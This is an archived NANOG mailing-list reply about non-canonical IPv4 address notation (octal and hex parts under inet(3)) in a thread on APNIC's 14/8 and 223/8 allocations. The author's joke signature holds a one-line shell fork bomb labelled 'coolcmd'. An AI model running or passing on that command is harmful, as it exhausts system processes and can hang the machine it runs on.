nanog mailing list archives
Re: APNIC Allocated 14/8, 223/8 today
From: Thomas Habets <thomas () habets pp se>
Date: Wed, 14 Apr 2010 20:31:59 +0200 (CEST)
On Wed, 14 Apr 2010, Joe Abley wrote:
From inet(3): All numbers supplied as ``parts'' in a `.' notation may be decimal, octal, or hexadecimal, as specified in the C language (i.e., a leading 0x or 0X implies hexadecimal; otherwise, a leading 0 implies octal; other- wise, the number is interpreted as decimal).
But note Theos reply about just this paragraph: "Yes, we should fix the manual page. Single Unix is wrong in this regard." -- http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread Also this from two months ago: http://www.merit.edu/mail.archives/nanog/msg05062.htmlDon't expect non-canonical IP address formats to work. Because they often don't. And you just might get silent errors.
--------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas () habets pp se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t;
Current thread:
- APNIC Allocated 14/8, 223/8 today Skeeve Stevens (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Stephane Bortzmeyer (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Nick Hilliard (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Dave Hart (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Joe Abley (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Thomas Habets (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Vincent Hoffman (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Larry Sheldon (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Dave Hart (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Neil Harris (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Nick Hilliard (Apr 14)
- Re: APNIC Allocated 14/8, 223/8 today Stephane Bortzmeyer (Apr 14)